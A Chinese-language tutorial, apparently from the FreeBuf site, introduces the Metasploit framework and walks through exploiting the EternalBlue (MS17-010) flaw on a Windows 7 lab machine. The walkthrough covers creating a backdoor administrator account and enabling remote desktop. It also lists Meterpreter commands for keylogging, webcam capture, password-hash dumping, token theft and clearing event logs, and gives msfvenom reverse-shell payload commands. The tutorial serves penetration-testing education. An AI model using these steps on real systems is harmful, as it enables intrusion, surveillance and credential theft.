fhy666
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
一:初识Metasploit
Metasploit是The Metasploit Framework的简称,也可以叫做MSF! MSF高度模块化即框架由多个module组成,是全球最受欢迎的工具。
Metasploit Framework(MSF)远远不仅仅是一个漏洞的集合。这是您可以建立和利用您的自定义需求的基础架构。这使您可以专注于您独特的环境,而不必重新发明轮子。
官网地址:
项目地址:
1.1:模块介绍
模块名称 | 模块作用 |
Auxiliary | 负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能的辅助模块 |
Exploits | 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动,被动) |
Payloads | 成功exploit之后,真正在目标系统执行的代码和命令。 |
Post | 后期渗透模块,在取得目标系统远程控制权后吗,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等操作。 |
Encoders | 对payload进行加密,躲避antiviru检查的模块。 |
Nops | 提高payload稳定性及维持大小,在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行shellcode时,有一个较大的安全着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的shellcode执行失败,提高渗透攻击的可靠性。 |
注意:msf默认存放模块目录如下,目录下的6个子文件对上面6个模块一一对应
1.2:MSF接口
接口命令 | 接口介绍 |
Msfconsole | 命令行控制台用户界面 |
Armitage | 基于Msf的可视化高级渗透工具 |
Web View | Msf网页界面,存在Mac os界面 |
1.3:MSF更新
apt update //更新软件园列表
apt install metasploit-farmework
1.4:MSFDB管理
《基础操作》
msfdb init # start and initialize the database postgresql
msfdb reinit # delete and reinitialize the database
msfdb delete # delete database and stop using it
msfdb start # start the database
msfdb stop # stop the database
msfdb status # check service status
msfdb run # start the database and run msfconsole
1.5:MSF基础操作
控制台命令支持tab补全,支持外部命令的执行。
help或者? | 显示msfconsole可以使用的命令。 |
connect | 可以理解为MSF中的nc命令,可以使用connect -h查看详细用法。 |
show | 可以查看msf提供的资源。在根目录下执行的话,由于有些资源模块比较多,需要执行show命令较长的时间。 show exploits:查看可以使用的exploit。 除了exploits,还支持all,encoders,nops,payloads,auxiliary,post,options。有些选项需要用use使用一个模块后才能使用,show targets。 |
search | 搜索模块 简单搜索:search ms17_010。 多条件搜素缩小范围:search name:mysql type:exploit platform:linux |
info | 查看模块信息 info <module name> 如果用use使用了一个模块,直接输入info查看。 |
use | search找到模块后,用use使用模块 use exploit/windows/smb/mso8_067_netapi 用use使用一个模块后,可以使用show options查看我们需要配置的选项,使用show targets选择目标主机系统,使用show payload选择payload。 |
set/setg | 设置参数,比如要渗透的主机ip,payload等 ,我们可以使用show missing查看没有设置的参数。setg是设置全局变量,避免每个模块都要输入相同参数 |
unset/unsetg | 取消设置参数和取消设置的全局变量 |
save | 设置的此参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。 |
check | 检查模块是否真的存在这个漏洞,大部分模块没有check功能 |
back | 返回msfcomsole根目录 |
run/exploit | 开始使用模块 exploit -j:以后台进行运行 |
sessions | 查看当前以建立的sessions,说明已经拿到了shell sessions -i id 可以进入一个session交互 |
load/unload | 调用外部的扫描命令,比如openvas |
loadpath | 加载自己的模块 |
route | 添加一条路由,比如发往某个子网的流量都通过攻陷的机器发送。 |
二:永恒之蓝漏洞
本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
其中漏洞编号为MS17-010,利用多个SMB远程代码执行漏洞,可在无交互的情况下获取系统最高权限,又为远程代码任意执行!!
2.1:针对win7系统
步骤一:使用msfconsole命令开启MSF,并使用Search命令搜索永恒之蓝漏洞模块...
search ms17_010
步骤二:使用搜索出来的第三个模块来进行探测目标是否存在永恒之蓝漏洞,并设置好以下参数进行扫描测试...
use auxiliary/scanner/smb/smb_ms17_010 /模块调用或者使用use 3对搜索出来的模块进行调用...
set rhost 192.168.202.131 //设置目标地址
set rport 445 //设置目标端口
show options //显示要设置的选项
run //开始运行此模块
步骤四:攻击成功后获取一个Meterpreter会话....使用以下命令在Meterpreter会话开启目标主机的3389端口并进入到目标Shell中创建后门账号...
meterpreter>run getgui -e //开启目标机器远程桌面服务器
meterpreter>shell //进入到目标机器的CMD环境当中
C:\Windows\system32>net user zxy 123admiN@ /add //创建后门账号
C:\Windows\system32>net localgroup administrators zxy /add //将后门账号添加到管理员组当中
>>>rdesktop 192.168.0.19 //远程桌面到目标机器
三:Meterpreter
Meterpreter通常作为漏洞溢出后的攻击载荷所使用,攻击载荷在触发漏洞后能够返回给我们一个控制通道。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。
3.1:核心命令
background – 将当前会话移动到背景 exit、quit – 终止 meterpreter 会话 help – 帮助菜单 migrate – 移动到一个指定的 PID 的活动进程 run – 执行以后它选定的 meterpreter 脚本 use – 加载 meterpreter 的扩展 load– 加载其他辅助组件
3.2:文件命令
cat -读取并输出到标准输出文件的内容 cd -更改目录对受害人 del -删除文件对受害人 download-从受害者系统文件下载 edit-用 vim编辑文件 getlwd -打印本地目录 getwd -打印工作目录 lcd -更改本地目录 lpwd -打印本地目录 ls -列出在当前目录中的文件列表 mkdir -在受害者系统上的创建目录 pwd -输出工作目录 rm -删除文件 rmdir -受害者系统上删除目录 upload-从攻击者的系统往受害者系统上传文件
3.3:网络命令
ipconfig -显示网络接口的关键信息,包括 IP 地址、 等。 portfwd -端口转发 portfwd add‐l 33333 ‐r 192.168.5.101 ‐p 3389 #将远程主机的3389端口转发到本地的3333端口 route -查看或修改受害者路由表 #在全局给指定的session增删路由 route add 192.168.11.0 255.255.255.0 1 #在session1中添加到达192.168.11.0网段的路由 route add 192.168.12.0 255.255.255.0 1 #在session1中添加到达192.168.12.0网段的路由 route add 0.0.0.0 0.0.0.0 1 #在session1中添加到达0.0.0.0/24网段的路由 route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由 route print #打印路由信息 #也可以在进入session下添加路由 run autoroute -s 192.168.11.0/24 #添加到达192.168.11.0网段的路由 run autoroute -s 192.168.12.0/24 #添加到达192.168.12.0网段的路由 run autoroute -s 0.0.0.0/0 #添加到达0.0.0.0/0的路由 run autoroute -p #打印路由信息
3.4:系统命令
clearev -清除了受害者的计算机上的事件日志 drop_token -被盗的令牌 execute-执行命令 getpid -获取当前进程 ID (PID) getprivs -尽可能获取尽可能多的特权 getuid -获取作为运行服务器的用户 kill -终止指定 PID 的进程 ps -列出正在运行的进程 reboot-重新启动受害人的计算机 reg -与受害人的注册表进行交互 rev2self -在受害者机器上调用 RevertToSelf() shell -在受害者计算机上打开一个shell shutdown-关闭了受害者的计算机 steal_token -试图窃取指定的 (PID) 进程的令牌 sysinfo -获取有关受害者计算机操作系统和名称等的详细信息
3.5:用户界面命令
keyscan_dump -键盘记录软件的内容转储 keyscan_start -启动键盘记录软件 keyscan_stop -停止键盘记录软件 screenshot-抓去 meterpreter 桌面的屏幕截图 set_desktop -更改 meterpreter 桌面 webcam_list – 列举摄像头 webcam_snap – 抓取摄像头影像图片 webcam_stream – 抓取摄像头影像流
3.6:其他常用命令
hashdump – 抓取HASH密码(SAM文件中的值) getsystem – 获得系统管理员权限
Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)

